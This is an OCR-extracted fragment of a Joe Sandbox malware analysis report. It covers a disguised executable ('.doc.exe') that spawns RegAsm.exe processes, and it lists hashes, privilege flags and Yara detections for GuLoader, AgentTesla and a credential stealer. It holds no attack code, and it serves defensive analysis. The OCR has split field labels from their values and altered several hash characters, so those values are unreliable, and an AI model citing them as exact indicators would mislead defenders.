true

‘C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’
0x400000

102400 bytes
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MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18B804E21A3C1C80C195E7D20DC38477
true
true

Visual Basic

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000000.00000002.1175708620.0000000002AB0000.00000040.00000001.sdmp,

Author: Joe Security

Reputation: low
File Activities Show Windows behavior
Analysis Process: RegAsm.exe PID: 2648 Parent PID: 8172

General

Start time: 13:06:08

Start date: 13/10/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’
0x70000

65440 bytes

0D5DF43AF2916F47D00C1573797C1A13

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: RegAsm.exe PID: 2792 Parent PID: 8172
General
Start time: 13:06:09
Start date: 13/10/2021
Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’
0x4c0000

65440 bytes

OD5DF43AF2916F47D00C1573797C1A13

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: RegAsm.exe PID: 2796 Parent PID: 8172
General
Start time: 13:06:09
Start date: 13/10/2021
Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\Fra FAC-ES101-2107-03806.doc.exe’
Imagebase: 0x8a0000
File size: 65440 bytes
MDS5 hash: 0OD5DF43AF2916F47D00C1573797C1A13

Has elevated privileges:

Copyright Joe Security LLC 2021

true
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Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

true
.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
0000001B.00000002.5639470864.000000001DD61000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000001B.00000002.5639470864.000000001DD61000.00000004.00000001.sdmp,
Author: Joe Security

moderate

Show Windows behavior

Analysis Process: conhost.exe PID: 2880 Parent PID: 2796

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

13:06:09

13/10/2021
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff689930000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFAG8
true

true

C, C++ or other language

moderate

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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